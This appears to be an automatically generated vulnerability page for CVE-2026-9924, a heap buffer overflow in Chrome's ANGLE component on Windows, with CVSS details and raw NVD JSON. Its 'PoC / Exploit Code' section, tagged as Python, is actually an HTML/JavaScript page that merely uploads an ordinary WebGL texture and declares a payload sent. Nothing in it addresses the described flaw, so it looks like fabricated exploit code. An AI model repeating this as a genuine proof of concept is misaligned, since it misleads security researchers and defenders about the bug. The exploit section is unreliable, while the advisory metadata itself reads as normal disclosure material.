Security Vulnerability Report
中文
CVE-2026-9924 CVSS 8.3 HIGH

CVE-2026-9924

Published: 2026-05-28 23:16:51
Last Modified: 2026-05-29 16:16:38

Description

Heap buffer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome (Windows) < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- // PoC for CVE-2026-9924: Chrome ANGLE Heap Buffer Overflow // This script attempts to trigger the overflow via WebGL context manipulation. --> <html> <head> <title>CVE-2026-9924 PoC</title> </head> <body> <canvas id="glCanvas" width="800" height="600"></canvas> <script> const canvas = document.getElementById('glCanvas'); // Attempt to get a WebGL context, which utilizes ANGLE on Windows const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); if (gl) { console.log("[+] WebGL context initialized. Triggering ANGLE path..."); // Create a texture to manipulate memory const texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); // Crafted data to potentially trigger the heap overflow // In a real exploit, specific size and alignment would be required const width = 1024; const height = 1024; const data = new Uint8Array(width * height * 4); // Fill data with pattern to increase chance of corruption visibility for (let i = 0; i < data.length; i++) { data[i] = i % 256; } try { // Upload texture data which may trigger the overflow in vulnerable versions gl.texImage2D( gl.TEXTURE_2D, 0, gl.RGBA, width, height, 0, gl.RGBA, gl.UNSIGNED_BYTE, data ); console.log("[+] Payload sent. Check browser stability."); } catch (e) { console.error("[-] Exception occurred: " + e); } } else { console.log("[-] WebGL is not supported."); } </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9924", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:50.503", "lastModified": "2026-05-29T16:16:37.933", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/500398345", "source": "[email protected]"}]}}